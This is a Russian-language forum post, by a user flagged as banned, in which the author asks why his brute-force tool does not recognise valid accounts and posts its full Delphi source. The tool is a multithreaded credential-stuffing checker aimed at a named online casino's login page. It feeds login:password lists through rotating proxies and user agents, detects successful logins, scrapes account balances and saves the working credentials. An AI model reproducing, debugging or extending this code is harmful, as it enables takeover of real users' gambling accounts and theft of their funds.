Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
вопшем создал брут но не могу понять что я упустил что бы опредялялись гуды по HTML тексту
сам исходник
сам исходник
Код:
unit Unit1pas;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ImgList, Vcl.Imaging.jpeg, Vcl.ExtCtrls, sButton, httpsend, TLHelp32, ssl_openssl, syncobjs, clipbrd,
sDialogs, sLabel, sGauge, Vcl.ComCtrls, sListView, sEdit, sSpinEdit,
sRadioButton, sPanel;
type
TForm1 = class(TForm)
sButton1: TsButton;
sOpenDialog1: TsOpenDialog;
sLabel1: TsLabel;
sButton2: TsButton;
sButton3: TsButton;
sButton4: TsButton;
sLabel2: TsLabel;
sLabel3: TsLabel;
sLabel4: TsLabel;
sLabel5: TsLabel;
sLabel6: TsLabel;
sLabel7: TsLabel;
sLabel8: TsLabel;
sLabel9: TsLabel;
sLabel10: TsLabel;
sGauge1: TsGauge;
sListView1: TsListView;
sSpinEdit1: TsSpinEdit;
sSpinEdit2: TsSpinEdit;
sRadioButton1: TsRadioButton;
sRadioButton2: TsRadioButton;
procedure FormCreate(Sender: TObject);
procedure sButton1Click(Sender: TObject);
procedure sButton2Click(Sender: TObject);
procedure sButton3Click(Sender: TObject);
procedure sButton4Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
Potok = class(TThread) //Переменные которые находятся в потоке
private
IP:string;
Port:string;
login:string;
Pass:string;
gift:string;
rez:integer;
protected
procedure Execute; override;
public
procedure sync;
constructor Create(CreateSuspended: Boolean);
end;
var
Form1: TForm1;
accounts,proxy:tstringlist;
cs:TCriticalSection;
Thread, Acc:integer;
http:thttpsend;
Work:boolean;
GoodFile, BadFile,f:textfile;
money: string;
tp,np:integer;
a,b:DWORD;
SerialNum,dtyp:Dword;
Buffer,disk: array [0..255] of char;
text1 : string;
razd:string;
UserAgents: array [0..10] of string=(
'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)',
'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3',
'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801');
implementation
{$R *.dfm}
function Pars(T_, ForS, _T:string):string; //Функция парсинга, нужна для чекера
var a, b:integer;
begin
Result := '';
if (T_='') or (ForS='') or (_T='') then Exit;
a:=Pos(T_, ForS);
if a=0 then Exit else a:=a+Length(T_);
ForS:=Copy(ForS, a, Length(ForS)-a+1);
b:=Pos(_T, ForS);
if b>0 then
Result:=Copy(ForS, 1, b - 1);
end;
constructor
Potok.Create(CreateSuspended: Boolean); //Создание потока
begin
inherited Create(CreateSuspended);
end;
function stopbrute: string; //Не обращайте внимания, это нужно для остановки брута
begin //К примеру когда нажем стоп, кнопки начнут работать
Form1.sButton1.Enabled:=true;
Form1.sButton2.Enabled:=true;
Form1.sButton3.Enabled:=true;
Form1.sspinEdit1.Enabled:=true;
Form1.sspinEdit2.Enabled:=true;
end;
procedure Potok.Execute; //Работа в потоке
var CurAcc:integer;
HTTP: Thttpsend;
scr,lt:tstringlist;
data:tstringstream;
token:string;
i: Integer;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
inc(tp);
if tp=Proxy.Count-1 then tp:=0;
CS.Leave;
if Work then
begin
Login:=Copy(Accounts[CurAcc],1,Pos(razd,Accounts[CurAcc])-1);
Pass:=Copy(Accounts[CurAcc],Pos(razd,Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
HTTP:= Thttpsend.Create;
if Proxy.Text = '' then sleep(0) else
if Form1.sRadioButton1.Checked then //Вид прокси HTTP/S
begin
IP:=Copy(Proxy[TP], 1, Pos(':', Proxy[TP])-1);
Port:=Copy(Proxy[TP],Pos(':',Proxy[TP])+1,Length(Proxy[TP]));
http.ProxyHost:=Ip;
http.ProxyPort:=port;
end;
if Form1.sRadioButton2.Checked then //Вид прокси Socks4/5
begin
IP:=Copy(Proxy[TP], 1, Pos(':', Proxy[TP])-1);
Port:=Copy(Proxy[TP],Pos(':',Proxy[TP])+1,Length(Proxy[TP]));
http.Sock.SocksIP:=IP;
HTTP.Sock.SocksPort:=Port;
end;
if pos(':', Accounts[CurAcc])<>0 then //Вид разделителя : или ; - автоопределение
begin
login:=Copy(Accounts[CurAcc], 1, Pos(':',Accounts[CurAcc])-1); //Копируем логин
pass:=Copy(Accounts[CurAcc], Pos(':', Accounts[CurAcc])+1, Length(Accounts[CurAcc])); //Копируем пароль
end
else
begin
login:=Copy(Accounts[CurAcc], 1, Pos(';',Accounts[CurAcc])-1); //Вид разделителя : или ; - автоопределение
pass:=Copy(Accounts[CurAcc], Pos(';', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
end;
{data:=tstringstream.create;
data.WriteString('user='+login+'&password='+pass+'&version=13');
http.Document.LoadFromStream(data); }
data:=tstringstream.create;
data.WriteString('password='+pass+'&login='+login+'&action=login'); //Тут то что будет в post запросе
http.Document.LoadFromStream(data);
http.Timeout:=Form1.sSpinEdit2.Value*200;
scr:=tstringlist.Create;
http.MimeType:='application/x-www-form-urlencoded';
if http.HTTPMethod('POST','[URL="http://www.maxbetslots.com/index.php"]Maxbetslots казино - играть на деньги после регистрации | Официальный сайт Максбетслотс[/URL]') then begin //Post запрос
scr.LoadFromStream(http.Document);
if pos('Location: /', http.headers.text)<>0 then //На что будем определять гуд
begin http.Clear;
if http.HTTPMethod('GET', '[URL="http://www.maxbetslots.com/"]Maxbetslots казино - играть на деньги после регистрации | Официальный сайт Максбетслотс[/URL]') then begin //Гет запрос - значит парс, парсим информацию для чекера
if http.ResultCode=200 then
begin
scr.LoadFromStream(http.Document);
scr.text:=ansitoutf8(scr.text);
money:=Pars('id="user_balance">', scr.Text , '</b>'); //Что надо спарсить. Где scr.text тут будет то что надо спарсить
Rez:=1; //Гуд нашли значит равно 1
end else
begin
Rez:=0;
end;
end else
begin
Rez:=0;
end;
end else
begin
Rez:=2;
end;
end else
begin
Rez:=0;
end;
HTTP.Free;
scr.Free;
data.Free;
Synchronize(Sync);
end;
Dec(Thread);
if Thread=0 then stopbrute();
end;
end;
procedure Potok.sync; //Синхронизация потока
var
Item: TListItem;
begin
case Rez of
1:begin //Это у нас то что будет происходить при гуде
Append(GoodFile); //Открытие файла с гудами
Writeln(GoodFile,login+':'+pass+' | Баланс: '+money); //Записываем в файл
Closefile(GoodFile); //Закрытие файла с гудами
Form1.slabel8.Caption:=IntToStr(StrToInt(Form1.slabel8.Caption)+1);//Если гуд то на форме добавится в label +1
Item :=Form1.sListView1.Items.Add; //что будет записываться в listview
Item.Caption :=login; //Сам гудовый логин
Item.SubItems.Add(pass); //гудовый пароль
Item.SubItems.Add(money); //И то что вы хотите спарсить
Form1.sGauge1.Progress:=Form1.sGauge1.Progress+1; //На прогрессбар +1
end;
2:begin //То что будет происходить при bad
Form1.slabel9.Caption:=IntToStr(StrToInt(Form1.slabel9.Caption)+1); //если bad то на форме в label будет +1
Form1.sGauge1.Progress:=Form1.sGauge1.Progress+1; //На прогрессбар +1
end;
0:begin //То что будет происходить при error
Accounts.Add(Login+';'+Pass); //ошибка
Form1.slabel10.Caption:=IntToStr(StrToInt(Form1.slabel10.Caption)+1); //Если error то на форме в label +1
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject); //Открытие формы
begin
Accounts:=Tstringlist.create;
Proxy:=Tstringlist.create;
CS:=TcriticalSection.create; //Создание критической секции
end;
procedure TForm1.sButton1Click(Sender: TObject);
begin
sOpenDialog1.Filter:='Текстовые файлы|*.txt'; //Только текстовые файлы
sOpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if sOpenDialog1.Execute then
begin
Accounts.Clear;
Accounts.LoadFromFile(sOpenDialog1.FileName);
end;
Form1.sLabel1.Caption:=inttostr(Accounts.Count); //Кол-во строк в базе, будет показано в label
end;
procedure TForm1.sButton2Click(Sender: TObject);
begin
sOpenDialog1.Filter:='Текстовые файлы|*.txt'; //Только текстовые файлы
sOpenDialog1.FileName:='';
sOpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if sOpenDialog1.Execute then
begin
Proxy.Clear;
Proxy.LoadFromFile(sOpenDialog1.FileName);
end;
sLabel4.Caption:=inttostr(Proxy.Count); //Кол-во строк в файле, будет показано в label
end;
procedure TForm1.sButton3Click(Sender: TObject);
var //Переменные для нее
Way, StrTime:string;
i:integer;
begin
StrTime:=TimeToStr(Time);
for i:=1 to Length(StrTime) do
if StrTime[i]=':' then StrTime[i]:='_';
begin //Создание папки для гудов, в нее
Formatsettings.TimeSeparator:='.';
TimeToStr(Time);
Createdir(ExtractFilePath(Application.ExeName)+'MAXBETSLOTS'); //Где синим цветом это название созданной папки с гудами
Assignfile(Goodfile, ExtractFilePath(Application.ExeName)+'\MAXBETSLOTS\'+'Good('+DateToStr(Date)+' - '+TimeToStr(Time)+').txt'); //Также название папки и название файла с гудами (Изменять только то что синим, кроме .txt)
Rewrite(Goodfile);
closefile(goodfile);
sLabel8.Caption:='0'; //Сбросс label на 0, если только вы начали брутить уже другую базу
sLabel9.Caption:='0'; //Сбросс label на 0, если только вы начали брутить уже другую базу
slabel10.caption:='0'; //Сбросс label на 0, если только вы начали брутить уже другую базу
sGauge1.MaxValue:=Accounts.Count;
Form1.sGauge1.Progress:=0; //Сбросс label на 0, если только вы начали брутить уже другую базу
sListView1.Clear;
Acc:=-1;
Work:=true;
for Thread:=1 to strtoint(sspinEdit1.Text) do
Potok.Create(false);
Thread:=strtoint(sspinEdit1.Text);
end;
end;
procedure TForm1.sButton4Click(Sender: TObject); //Кнопка стоп
begin
work:=false; //Завершение работы
end;
end.[/i][/i]
Последнее редактирование модератором: